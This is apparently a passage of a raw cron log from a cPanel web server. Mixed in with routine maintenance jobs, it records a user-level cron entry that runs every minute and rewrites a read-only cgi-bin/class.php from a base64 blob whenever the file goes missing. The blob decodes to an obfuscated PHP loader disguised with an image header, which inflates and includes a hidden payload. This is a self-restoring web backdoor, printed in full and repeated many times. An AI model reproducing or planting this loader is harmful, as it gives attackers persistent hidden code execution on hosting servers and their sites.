dJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:14:01 server CROND[20908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:14:01 server CROND[20909]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:14:01 server CROND[20910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:15:01 server CROND[21308]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 00:15:01 server CROND[21310]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 00:15:01 server CROND[21324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:15:01 server CROND[21326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:15:01 server CROND[21330]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 00:15:01 server CROND[21328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:15:01 server CROND[21331]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  1 00:15:01 server CROND[21329]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  1 00:15:01 server CROND[21325]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 00:15:01 server CROND[21327]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 00:16:01 server CROND[22301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:16:01 server CROND[22302]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:16:01 server CROND[22303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:17:01 server CROND[22680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:17:01 server CROND[22681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:17:01 server CROND[22682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:18:01 server CROND[23233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:18:01 server CROND[23234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:18:01 server CROND[23235]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:19:01 server CROND[23623]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:19:01 server CROND[23624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:19:01 server CROND[23625]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:20:02 server CROND[24165]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 00:20:02 server CROND[24166]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 00:20:02 server CROND[24167]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 00:20:02 server CROND[24168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:20:02 server CROND[24169]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 00:20:02 server CROND[24171]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 00:20:02 server CROND[24174]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:20:02 server CROND[24173]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 00:20:02 server CROND[24176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:21:01 server CROND[25013]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:21:01 server CROND[25014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:21:01 server CROND[25015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:22:01 server CROND[25401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:22:01 server CROND[25402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:22:01 server CROND[25403]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:23:01 server CROND[25789]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:23:01 server CROND[25790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:23:01 server CROND[25791]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:24:01 server CROND[26171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:24:01 server CROND[26172]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:24:01 server CROND[26173]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:25:01 server CROND[26656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:25:01 server CROND[26657]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:25:01 server CROND[26666]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 00:25:01 server CROND[26664]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 00:25:01 server CROND[26663]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 00:25:01 server CROND[26668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaA